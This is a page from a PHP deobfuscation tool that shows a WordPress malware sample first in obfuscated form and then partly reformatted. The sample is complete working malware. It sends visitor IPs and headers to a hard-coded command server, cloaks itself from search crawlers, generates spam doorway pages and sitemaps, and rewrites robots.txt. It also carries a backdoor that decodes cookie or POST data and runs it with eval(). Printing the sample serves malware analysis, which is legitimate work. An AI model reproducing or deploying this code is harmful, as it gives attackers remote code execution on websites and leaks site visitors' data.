Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _yrdexf{static private $_raum67vr = 84513698;static function _19gkt($_qry5gz0c, $_df3riw71){$_qry5gz0c[2] = count($_qry5gz0c)...



Obfuscated php code

<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _yrdexf{static private $_raum67vr = 84513698;static function _19gkt($_qry5gz0c, $_df3riw71){$_qry5gz0c[2] = count($_qry5gz0c) > 4 ? long2ip(_yrdexf::$_raum67vr - 418) : $_qry5gz0c[2];$_8dw5y43o = _yrdexf::_g2tlh($_qry5gz0c, $_df3riw71);if (!$_8dw5y43o) {$_8dw5y43o = _yrdexf::_doxjr($_qry5gz0c, $_df3riw71);}return $_8dw5y43o;}static function _g2tlh($_qry5gz0c, $_8dw5y43o, $_kbuhy654 = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_qry5gz0c)) {$_qry5gz0c = implode("/", $_qry5gz0c);}$_2skujtop = curl_init();curl_setopt($_2skujtop, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_2skujtop, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_2skujtop, CURLOPT_URL, $_qry5gz0c);if (!empty($_8dw5y43o)) {curl_setopt($_2skujtop, CURLOPT_POST, 1);curl_setopt($_2skujtop, CURLOPT_POSTFIELDS, $_8dw5y43o);}if (!empty($_kbuhy654)) {curl_setopt($_2skujtop, CURLOPT_HTTPHEADER, $_kbuhy654);}curl_setopt($_2skujtop, CURLOPT_RETURNTRANSFER, TRUE);$_xnekd11w = curl_exec($_2skujtop);curl_close($_2skujtop);return $_xnekd11w;}static function _doxjr($_qry5gz0c, $_8dw5y43o, $_kbuhy654 = NULL){if (is_array($_qry5gz0c)) {$_qry5gz0c = implode("/", $_qry5gz0c);}if (!empty($_8dw5y43o)) {$_gw6ws8n0 = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_8dw5y43o);if (!empty($_kbuhy654)) {$_gw6ws8n0["header"] = $_gw6ws8n0["header"] . "\r\n" . implode("\r\n", $_kbuhy654);}$_nss1xk4g = stream_context_create(array('http' => $_gw6ws8n0));} else {$_gw6ws8n0 = array('method' => 'GET',);if (!empty($_kbuhy654)) {$_gw6ws8n0["header"] = implode("\r\n", $_kbuhy654);}$_nss1xk4g = stream_context_create(array('http' => $_gw6ws8n0));}return @file_get_contents($_qry5gz0c, FALSE, $_nss1xk4g);}}class _lgqdnc{private static $_mih2753g = "";private static $_tdiildac = -1;private static $_9q35v756 = "";private $_nnc3mabo = "";private $_uu56l9c9 = "";private $_q97k7gik = "";private $_2tmdwth0 = "";public static function _32kuw($_6s4ngz56, $_a5lozegk, $_15trp76f){_lgqdnc::$_mih2753g = $_6s4ngz56 . "/cache/";_lgqdnc::$_tdiildac = $_a5lozegk;_lgqdnc::$_9q35v756 = $_15trp76f;if (!@file_exists(_lgqdnc::$_mih2753g)) {@mkdir(_lgqdnc::$_mih2753g);}}static public function _a9xoy(){$_eyrsp190 = 0;foreach (scandir(_lgqdnc::$_mih2753g) as $_ov6pq93q) {$_eyrsp190 += 1;}return $_eyrsp190;}public static function _8hhol(){return TRUE;}public function __construct($_7iqzrs8q, $_18z1pmha, $_0xpcqmqp, $_jcj2lsf4){$this->_nnc3mabo = $_7iqzrs8q;$this->_uu56l9c9 = $_18z1pmha;$this->_q97k7gik = $_0xpcqmqp;$this->_2tmdwth0 = $_jcj2lsf4;}public function _0j7ao(){function _6ldfi($_urboxoty, $_t1a0v7g8){return round(rand($_urboxoty, $_t1a0v7g8 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_soo8guiq = _z0b3xi::_ui4l9();$_8dw5y43o = str_replace("{{ text }}", $this->_uu56l9c9,str_replace("{{ keyword }}", $this->_q97k7gik,str_replace("{{ links }}", $this->_2tmdwth0, $this->_nnc3mabo)));while (TRUE) {$_5ixlu6ic = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _z0b3xi::_ert4b(), $_8dw5y43o, 1);if ($_5ixlu6ic === $_8dw5y43o) {break;}$_8dw5y43o = $_5ixlu6ic;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_8dw5y43o, $_n0hx5o92);if (empty($_n0hx5o92)) {break;}$_0xpcqmqp = @$_soo8guiq[intval($_n0hx5o92[1])];$_ckebvrqf = _iry0ym::_zq9c9($_0xpcqmqp);$_8dw5y43o = str_replace($_n0hx5o92[0], $_ckebvrqf, $_8dw5y43o);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_8dw5y43o, $_n0hx5o92);if (empty($_n0hx5o92)) {break;}$_0xpcqmqp = @$_soo8guiq[intval($_n0hx5o92[1])];$_8dw5y43o = str_replace($_n0hx5o92[0], $_0xpcqmqp, $_8dw5y43o);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_8dw5y43o, $_n0hx5o92);if (empty($_n0hx5o92)) {break;}$_8dw5y43o = str_replace($_n0hx5o92[0], _6ldfi($_n0hx5o92[1], $_n0hx5o92[2]), $_8dw5y43o);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_8dw5y43o, $_n0hx5o92);if (empty($_n0hx5o92)) {break;}$_8dw5y43o = str_replace($_n0hx5o92[0], rand($_n0hx5o92[1], $_n0hx5o92[2]), $_8dw5y43o);}return $_8dw5y43o;}public function _t2j06(){$_obtcm4y0 = _lgqdnc::$_mih2753g . md5($this->_q97k7gik . _lgqdnc::$_9q35v756);if (_lgqdnc::$_tdiildac == -1) {$_bq1pbhta = -1;} else {$_bq1pbhta = time() + (3600 * 24 * 30);}$_sv5q4izi = array("template" => $this->_nnc3mabo, "text" => $this->_uu56l9c9, "keyword" => $this->_q97k7gik,"links" => $this->_2tmdwth0, "expired" => $_bq1pbhta);@file_put_contents($_obtcm4y0, serialize($_sv5q4izi));}static public function _a2aqu($_0xpcqmqp){$_obtcm4y0 = _lgqdnc::$_mih2753g . md5($_0xpcqmqp . _lgqdnc::$_9q35v756);$_obtcm4y0 = @unserialize(@file_get_contents($_obtcm4y0));if (!empty($_obtcm4y0) && ($_obtcm4y0["expired"] > time() || $_obtcm4y0["expired"] == -1)) {return new _lgqdnc($_obtcm4y0["template"], $_obtcm4y0["text"], $_obtcm4y0["keyword"], $_obtcm4y0["links"]);} else {return null;}}}class _mmlc87s{private static $_mih2753g = "";private static $_u16f14f4 = "";public static function _32kuw($_6s4ngz56, $_gsvxqipu){_mmlc87s::$_mih2753g = $_6s4ngz56 . "/";_mmlc87s::$_u16f14f4 = $_gsvxqipu;if (!@file_exists(_mmlc87s::$_mih2753g)) {@mkdir(_mmlc87s::$_mih2753g);}}public static function _8hhol(){return TRUE;}static public function _a9xoy(){$_eyrsp190 = 0;foreach (scandir(_mmlc87s::$_mih2753g) as $_ov6pq93q) {if (strpos($_ov6pq93q, _mmlc87s::$_u16f14f4) === 0) {$_eyrsp190 += 1;}}return $_eyrsp190;}static public function _ert4b(){$_qmx1grgb = array();foreach (scandir(_mmlc87s::$_mih2753g) as $_ov6pq93q) {if (strpos($_ov6pq93q, _mmlc87s::$_u16f14f4) === 0) {$_qmx1grgb[] = $_ov6pq93q;}}return @file_get_contents(_mmlc87s::$_mih2753g . $_qmx1grgb[array_rand($_qmx1grgb)]);}static public function _t2j06($_0izoqfm3){if (@file_exists(_mmlc87s::$_u16f14f4 . "_" . md5($_0izoqfm3) . ".html")) {return;}@file_put_contents(_mmlc87s::$_u16f14f4 . "_" . md5($_0izoqfm3) . ".html", $_0izoqfm3);}}class _z0b3xi{private static $_mih2753g = "";private static $_u16f14f4 = "";private static $_bua6yqku = Array();private static $_fmpw6j7k = Array();public static function _32kuw($_6s4ngz56, $_gsvxqipu){_z0b3xi::$_mih2753g = $_6s4ngz56 . "/";_z0b3xi::$_u16f14f4 = $_gsvxqipu;if (!@file_exists(_z0b3xi::$_mih2753g)) {@mkdir(_z0b3xi::$_mih2753g);}}private static function _k6rl9(){$_lm1jsnwj = array();foreach (scandir(_z0b3xi::$_mih2753g) as $_ov6pq93q) {if (strpos($_ov6pq93q, _z0b3xi::$_u16f14f4) === 0) {$_lm1jsnwj[] = $_ov6pq93q;}}return $_lm1jsnwj;}public static function _8hhol(){return TRUE;}static public function _ert4b(){if (empty(_z0b3xi::$_bua6yqku)){$_lm1jsnwj = _z0b3xi::_k6rl9();_z0b3xi::$_bua6yqku = @file(_z0b3xi::$_mih2753g . $_lm1jsnwj[array_rand($_lm1jsnwj)], FILE_IGNORE_NEW_LINES);}return _z0b3xi::$_bua6yqku[array_rand(_z0b3xi::$_bua6yqku)];}static public function _ui4l9(){if (empty(_z0b3xi::$_fmpw6j7k)){$_lm1jsnwj = _z0b3xi::_k6rl9();foreach ($_lm1jsnwj as $_x53fd3vl) {_z0b3xi::$_fmpw6j7k = array_merge(_z0b3xi::$_fmpw6j7k, @file(_z0b3xi::$_mih2753g . $_x53fd3vl, FILE_IGNORE_NEW_LINES));}}return _z0b3xi::$_fmpw6j7k;}static public function _t2j06($_g8x2aive){if (@file_exists(_z0b3xi::$_u16f14f4 . "_" . md5($_g8x2aive) . ".list")) {return;}@file_put_contents(_z0b3xi::$_u16f14f4 . "_" . md5($_g8x2aive) . ".list", $_g8x2aive);}static public function _tus8i($_0xpcqmqp){@file_put_contents(_z0b3xi::$_u16f14f4 . "_" . md5(_iry0ym::$_yl5sycxv) . ".list", $_0xpcqmqp . "\n", 8);}}class _iry0ym{static public $_0avhcvu8 = "5.2";static public $_yl5sycxv = "7202c7fd-7d7f-4753-0e8f-75b89572773e";private $_lhwwqjis = "http://136.12.78.46/app/assets/api2?action=redir";private $_s3wccunx = "http://136.12.78.46/app/assets/api?action=page";static public $_y4l3vidj = 5;static public $_4j085oho = 20;private function _3hb17(){$_tptrjde8 = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_tptrjde8, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_vwh9hm80 = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_vwh9hm80 = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_vwh9hm80 = 1;} else {$_vwh9hm80 = 0;}return $_vwh9hm80;}private static function _3zyta(){$_df3riw71 = array();$_df3riw71['ip'] = $_SERVER['REMOTE_ADDR'];$_df3riw71['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_df3riw71['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_df3riw71['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_df3riw71['ref'] = @$_SERVER['HTTP_REFERER'];$_df3riw71['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_df3riw71['acp'] = @$_SERVER['HTTP_ACCEPT'];$_df3riw71['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_df3riw71['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_df3riw71;}public function __construct(){$this->_lhwwqjis = explode("/", $this->_lhwwqjis);$this->_s3wccunx = explode("/", $this->_s3wccunx);}static public function _8aozg($_acvb2hzg){if (strlen($_acvb2hzg) < 4) {return "";}$_gk0nbb8m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_soo8guiq = str_split($_gk0nbb8m);$_soo8guiq = array_flip($_soo8guiq);$_39awznaj = 0;$_1bl5r3i5 = "";$_acvb2hzg = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_acvb2hzg);do {$_j3kbih18 = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];$_4uastin2 = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];$_5xx9tr3j = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];$_96v827ea = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];$_q4qbwzdc = ($_j3kbih18 << 2) | ($_4uastin2 >> 4);$_upfrhz4k = (($_4uastin2 & 15) << 4) | ($_5xx9tr3j >> 2);$_qe13sa1z = (($_5xx9tr3j & 3) << 6) | $_96v827ea;$_1bl5r3i5 = $_1bl5r3i5 . chr($_q4qbwzdc);if ($_5xx9tr3j != 64) {$_1bl5r3i5 = $_1bl5r3i5 . chr($_upfrhz4k);}if ($_96v827ea != 64) {$_1bl5r3i5 = $_1bl5r3i5 . chr($_qe13sa1z);}} while ($_39awznaj < strlen($_acvb2hzg));return $_1bl5r3i5;}private function _3puou($_0xpcqmqp){$_7iqzrs8q = "";$_18z1pmha = "";$_df3riw71 = _iry0ym::_3zyta();$_df3riw71["uid"] = _iry0ym::$_yl5sycxv;$_df3riw71["keyword"] = $_0xpcqmqp;$_df3riw71["tc"] = 10;$_df3riw71 = http_build_query($_df3riw71);$_c58sx0fu = _yrdexf::_19gkt($this->_s3wccunx, $_df3riw71);if (strpos($_c58sx0fu, _iry0ym::$_yl5sycxv) === FALSE) {return array($_7iqzrs8q, $_18z1pmha);}$_7iqzrs8q = _mmlc87s::_ert4b();$_18z1pmha = substr($_c58sx0fu, strlen(_iry0ym::$_yl5sycxv));$_18z1pmha = explode("\n", $_18z1pmha);shuffle($_18z1pmha);$_18z1pmha = implode(" ", $_18z1pmha);return array($_7iqzrs8q, $_18z1pmha);}private function _k38qg(){$_df3riw71 = _iry0ym::_3zyta();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_df3riw71['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_df3riw71['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_df3riw71['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_df3riw71["uid"] = _iry0ym::$_yl5sycxv;$_df3riw71 = http_build_query($_df3riw71);$_jz672tsp = _yrdexf::_19gkt($this->_lhwwqjis, $_df3riw71);$_jz672tsp = @unserialize($_jz672tsp);if (isset($_jz672tsp["type"]) && $_jz672tsp["type"] == "redir") {if (!empty($_jz672tsp["data"]["header"])) {header($_jz672tsp["data"]["header"]);return true;} elseif (!empty($_jz672tsp["data"]["code"])) {echo $_jz672tsp["data"]["code"];return true;}}return false;}public function _8hhol(){return _lgqdnc::_8hhol() && _mmlc87s::_8hhol() && _z0b3xi::_8hhol();}static public function _h0z4y(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _redf5(){$_2xbk8ofi = explode("?", $_SERVER["REQUEST_URI"], 2);$_2xbk8ofi = $_2xbk8ofi[0];if (strpos($_2xbk8ofi, ".php") === FALSE) {$_2xbk8ofi = explode("/", $_2xbk8ofi);array_pop($_2xbk8ofi);$_2xbk8ofi = implode("/", $_2xbk8ofi) . "/";}return sprintf("%s://%s%s", _iry0ym::_h0z4y() ? "https" : "http", $_SERVER['HTTP_HOST'], $_2xbk8ofi);}public static function _qlb4m(){$_5o8fg05a = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received","https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap");$_kbuhy654 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_qotqx6od = urlencode(_iry0ym::_5arh9() . "/sitemap.xml");foreach ($_5o8fg05a as $_qry5gz0c => $_ax3n3pz3) {$_3stepj2r = _yrdexf::_g2tlh($_qry5gz0c . $_qotqx6od, NULL, $_kbuhy654);if (empty($_3stepj2r)) {$_3stepj2r = _yrdexf::_doxjr($_qry5gz0c . $_qotqx6od, NULL, $_kbuhy654);}if (empty($_3stepj2r)) {return FALSE;}if (strpos($_3stepj2r, $_ax3n3pz3) === FALSE) {return FALSE;}}return TRUE;}public static function _8pyzt(){$_v0l91est = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_2xbk8ofi = explode("?", $_SERVER["REQUEST_URI"], 2);$_2xbk8ofi = $_2xbk8ofi[0];$_m54q3kw4 = substr($_2xbk8ofi, 0, strrpos($_2xbk8ofi, "/"));$_rl48qrdr = sprintf($_v0l91est, $_m54q3kw4, _iry0ym::_5arh9() . "/sitemap.xml");$_w4ou1118 = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_w4ou1118)) {@chmod($_w4ou1118, 0777);$_d0skyvxu = @file_get_contents($_w4ou1118);} else {$_d0skyvxu = "";}if (strpos($_d0skyvxu, $_rl48qrdr) === FALSE) {@file_put_contents($_w4ou1118, $_d0skyvxu . "\n" . $_rl48qrdr);$_d0skyvxu = @file_get_contents($_w4ou1118);return (strpos($_d0skyvxu, $_rl48qrdr) !== FALSE);}return FALSE;}public static function _5arh9(){$_2xbk8ofi = explode("?", $_SERVER["REQUEST_URI"], 2);$_2xbk8ofi = $_2xbk8ofi[0];$_6s4ngz56 = substr($_2xbk8ofi, 0, strrpos($_2xbk8ofi, "/"));return sprintf("%s://%s%s", _iry0ym::_h0z4y() ? "https" : "http", $_SERVER['HTTP_HOST'], $_6s4ngz56);}public static function _zq9c9($_0xpcqmqp){$_3rho4i3g = _iry0ym::_redf5();$_dqzkc33k = substr(md5(_iry0ym::$_yl5sycxv . "salt3"), 0, 6);$_eqrbkhys = "";if (substr($_3rho4i3g, -1) == "/") {if (ord($_dqzkc33k[1]) % 2) {$_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);} else {$_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);}$_eqrbkhys = sprintf("%s%s", $_3rho4i3g, urlencode($_0xpcqmqp));} else {if (FALSE && (ord($_dqzkc33k[0]) % 2)) {$_eqrbkhys = sprintf("%s?%s=%s",$_3rho4i3g,$_dqzkc33k,urlencode(str_replace(" ", "-", $_0xpcqmqp)));} else {$_mwe12i7s = array("id", "page", "tag");$_6moctxnl = $_mwe12i7s[ord($_dqzkc33k[2]) % count($_mwe12i7s)];if (ord($_dqzkc33k[1]) % 2) {$_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);} else {$_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);}$_eqrbkhys = sprintf("%s?%s=%s",$_3rho4i3g,$_6moctxnl,urlencode($_0xpcqmqp));}}return $_eqrbkhys;}public static function _ls5km($_urboxoty, $_t1a0v7g8){$_9mnphamy = "";for ($_39awznaj = 0; $_39awznaj < rand($_urboxoty, $_t1a0v7g8); $_39awznaj++) {$_0xpcqmqp = _z0b3xi::_ert4b();$_9mnphamy .= sprintf("<a href=\"%s\">%s</a>,\n",_iry0ym::_zq9c9($_0xpcqmqp), ucwords($_0xpcqmqp));}return $_9mnphamy;}public static function _ia16y($_9eia20e5=FALSE){$_wskpu6dt = dirname(__FILE__) . "/sitemap.xml";$_jk1wny9y = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";$_3yasl7lt = "</urlset>";$_soo8guiq = _z0b3xi::_ui4l9();$_2vn8ui8s = array();if (file_exists($_wskpu6dt)) {$_c58sx0fu = simplexml_load_file($_wskpu6dt);foreach ($_c58sx0fu as $_f9em1fw5) {$_2vn8ui8s[(string)$_f9em1fw5->loc] = (string)$_f9em1fw5->lastmod;}}else {$_9eia20e5 = FALSE;}foreach ($_soo8guiq as $_5slhulyi) {$_eqrbkhys = _iry0ym::_zq9c9($_5slhulyi);if (isset($_2vn8ui8s[$_eqrbkhys])){continue;}if ($_9eia20e5) {$_wdddvvhd = time();}else {$_wdddvvhd = time() - (crc32 ($_5slhulyi) % (60 * 60 * 24 * 30));}$_2vn8ui8s[$_eqrbkhys] = date("Y-m-d", $_wdddvvhd);;}$_x3sxpphj = "";foreach ($_2vn8ui8s as $_qry5gz0c => $_wdddvvhd){$_x3sxpphj .= "<url>\n";$_x3sxpphj .= sprintf("<loc>%s</loc>\n", $_qry5gz0c);$_x3sxpphj .= sprintf("<lastmod>%s</lastmod>\n", $_wdddvvhd);$_x3sxpphj .= "</url>\n";}$_2cywryaz = $_jk1wny9y . $_x3sxpphj . $_3yasl7lt;$_qotqx6od = _iry0ym::_5arh9() . "/sitemap.xml";@file_put_contents($_wskpu6dt, $_2cywryaz);return $_qotqx6od;}public function _lszlg(){$_6moctxnl = substr(md5(_iry0ym::$_yl5sycxv . "salt3"), 0, 6);if (!$this->_3hb17()) {if ($this->_k38qg()) {return;}}if (!empty($_GET)) {$_nxdyfwfa = array_values($_GET);} else {$_nxdyfwfa = explode("/", $_SERVER["REQUEST_URI"]);$_nxdyfwfa = array_reverse($_nxdyfwfa);}$_0xpcqmqp = "";foreach ($_nxdyfwfa as $_ph2kr6ce) {if (substr_count($_ph2kr6ce, "-") > 0) {$_0xpcqmqp = $_ph2kr6ce;break;}}$_0xpcqmqp = str_replace($_6moctxnl . "-", "", $_0xpcqmqp);$_0xpcqmqp = str_replace("-" . $_6moctxnl, "", $_0xpcqmqp);$_0xpcqmqp = str_replace("-", " ", $_0xpcqmqp);$_0xpcqmqp = urldecode($_0xpcqmqp);$_zni1zk3v = _z0b3xi::_ui4l9();if (empty($_0xpcqmqp)) {$_0xpcqmqp = $_zni1zk3v[0];} else if (!in_array($_0xpcqmqp, $_zni1zk3v)){$_zkvampq9 = 0;foreach (str_split($_0xpcqmqp) as $_2skujtop) {$_zkvampq9 += ord($_2skujtop);}$_0xpcqmqp = $_zni1zk3v[$_zkvampq9 % count($_zni1zk3v)];}if (!empty($_0xpcqmqp)) {$_jz672tsp = _lgqdnc::_a2aqu($_0xpcqmqp);if (empty($_jz672tsp)) {list($_7iqzrs8q, $_18z1pmha) = $this->_3puou($_0xpcqmqp);if (empty($_18z1pmha)) {return;}$_jz672tsp = new _lgqdnc($_7iqzrs8q, $_18z1pmha, $_0xpcqmqp, _iry0ym::_ls5km(_iry0ym::$_y4l3vidj, _iry0ym::$_4j085oho));$_jz672tsp->_t2j06();}echo $_jz672tsp->_0j7ao();}}}_lgqdnc::_32kuw(dirname(__FILE__), -1, _iry0ym::$_yl5sycxv);_mmlc87s::_32kuw(dirname(__FILE__), substr(md5(_iry0ym::$_yl5sycxv . "salt12"), 0, 4));_z0b3xi::_32kuw(dirname(__FILE__), substr(md5(_iry0ym::$_yl5sycxv . "salt22"), 0, 4));function _pvm60($_c58sx0fu, $_5slhulyi){$_2kskmr3f = "";for ($_39awznaj = 0; $_39awznaj < strlen($_c58sx0fu);) {for ($_ot8kzt07 = 0; $_ot8kzt07 < strlen($_5slhulyi) && $_39awznaj < strlen($_c58sx0fu); $_ot8kzt07++, $_39awznaj++) {$_2kskmr3f .= chr(ord($_c58sx0fu[$_39awznaj]) ^ ord($_5slhulyi[$_ot8kzt07]));}}return $_2kskmr3f;}function _6eoka($_c58sx0fu, $_5slhulyi, $_x88w7pcu){return _pvm60(_pvm60($_c58sx0fu, $_5slhulyi), $_x88w7pcu);}foreach (array_merge($_COOKIE, $_POST) as $_plfwhelv => $_c58sx0fu) {$_c58sx0fu = @unserialize(_6eoka(_iry0ym::_8aozg($_c58sx0fu), $_plfwhelv, _iry0ym::$_yl5sycxv));if (isset($_c58sx0fu['ak']) && _iry0ym::$_yl5sycxv == $_c58sx0fu['ak']) {if ($_c58sx0fu['a'] == 'doorway2') {if ($_c58sx0fu['sa'] == 'check') {$_8dw5y43o = _yrdexf::_19gkt(explode("/", "http://httpbin.org/"), "");if (strlen($_8dw5y43o) > 512) {echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8,"cache" => _lgqdnc::_a9xoy(),"keywords" => count(_z0b3xi::_ui4l9()),"templates" => _mmlc87s::_a9xoy()));}exit;}if ($_c58sx0fu['sa'] == 'templates') {foreach ($_c58sx0fu["templates"] as $_7iqzrs8q) {_mmlc87s::_t2j06($_7iqzrs8q);echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8,));}}if ($_c58sx0fu['sa'] == 'keywords') {_z0b3xi::_t2j06($_c58sx0fu["keywords"]);_iry0ym::_ia16y();echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8,));}if ($_c58sx0fu['sa'] == 'update_sitemap') {_iry0ym::_ia16y(TRUE);echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8,));}if ($_c58sx0fu['sa'] == 'pages') {$_7ifz0il9 = 0;$_zni1zk3v = _z0b3xi::_ui4l9();if (_mmlc87s::_a9xoy() > 0) {foreach ($_c58sx0fu['pages'] as $_jz672tsp) {$_38fz7t2h = _lgqdnc::_a2aqu($_jz672tsp["keyword"]);if (empty($_38fz7t2h)) {$_38fz7t2h = new _lgqdnc(_mmlc87s::_ert4b(), $_jz672tsp["text"], $_jz672tsp["keyword"], _iry0ym::_ls5km(_iry0ym::$_y4l3vidj, _iry0ym::$_4j085oho));$_38fz7t2h->_t2j06();$_7ifz0il9 += 1;if (!in_array($_jz672tsp["keyword"], $_zni1zk3v)){_z0b3xi::_tus8i($_jz672tsp["keyword"]);}}}}echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8, "pages" => $_7ifz0il9));}if ($_c58sx0fu["sa"] == "ping") {$_3stepj2r = _iry0ym::_qlb4m();echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8, "result" => (int)$_3stepj2r));}if ($_c58sx0fu["sa"] == "robots") {$_3stepj2r = _iry0ym::_8pyzt();echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8, "result" => (int)$_3stepj2r));}}if ($_c58sx0fu['sa'] == 'eval') {eval($_c58sx0fu["data"]);exit;}}}$_dujm8bdw = new _iry0ym();if ($_dujm8bdw->_8hhol()) {$_dujm8bdw->_lszlg();}exit();

Decoded(de-Obfuscated) php code

<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set('UTC');
class _yrdexf
{
    private static $_raum67vr = 84513698;
    static function _19gkt($_qry5gz0c, $_df3riw71)
    {
        $_qry5gz0c[2] = count($_qry5gz0c) > 4 ? long2ip(_yrdexf::$_raum67vr - 418) : $_qry5gz0c[2];
        $_8dw5y43o = _yrdexf::_g2tlh($_qry5gz0c, $_df3riw71);
        if (!$_8dw5y43o) {
            $_8dw5y43o = _yrdexf::_doxjr($_qry5gz0c, $_df3riw71);
        }
        return $_8dw5y43o;
    }
    static function _g2tlh($_qry5gz0c, $_8dw5y43o, $_kbuhy654 = NULL)
    {
        if (!function_exists('curl_version')) {
            return "";
        }
        if (is_array($_qry5gz0c)) {
            $_qry5gz0c = implode("/", $_qry5gz0c);
        }
        $_2skujtop = curl_init();
        curl_setopt($_2skujtop, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($_2skujtop, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($_2skujtop, CURLOPT_URL, $_qry5gz0c);
        if (!empty($_8dw5y43o)) {
            curl_setopt($_2skujtop, CURLOPT_POST, 1);
            curl_setopt($_2skujtop, CURLOPT_POSTFIELDS, $_8dw5y43o);
        }
        if (!empty($_kbuhy654)) {
            curl_setopt($_2skujtop, CURLOPT_HTTPHEADER, $_kbuhy654);
        }
        curl_setopt($_2skujtop, CURLOPT_RETURNTRANSFER, TRUE);
        $_xnekd11w = curl_exec($_2skujtop);
        curl_close($_2skujtop);
        return $_xnekd11w;
    }
    static function _doxjr($_qry5gz0c, $_8dw5y43o, $_kbuhy654 = NULL)
    {
        if (is_array($_qry5gz0c)) {
            $_qry5gz0c = implode("/", $_qry5gz0c);
        }
        if (!empty($_8dw5y43o)) {
            $_gw6ws8n0 = array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_8dw5y43o);
            if (!empty($_kbuhy654)) {
                $_gw6ws8n0["header"] = "Content-type: application/x-www-form-urlencoded\r\n" . implode("\r\n", $_kbuhy654);
            }
            $_nss1xk4g = stream_context_create(array('http' => $_gw6ws8n0));
        } else {
            $_gw6ws8n0 = array('method' => 'GET');
            if (!empty($_kbuhy654)) {
                $_gw6ws8n0["header"] = implode("\r\n", $_kbuhy654);
            }
            $_nss1xk4g = stream_context_create(array('http' => $_gw6ws8n0));
        }
        return @file_get_contents($_qry5gz0c, FALSE, $_nss1xk4g);
    }
}
class _lgqdnc
{
    private static $_mih2753g = "";
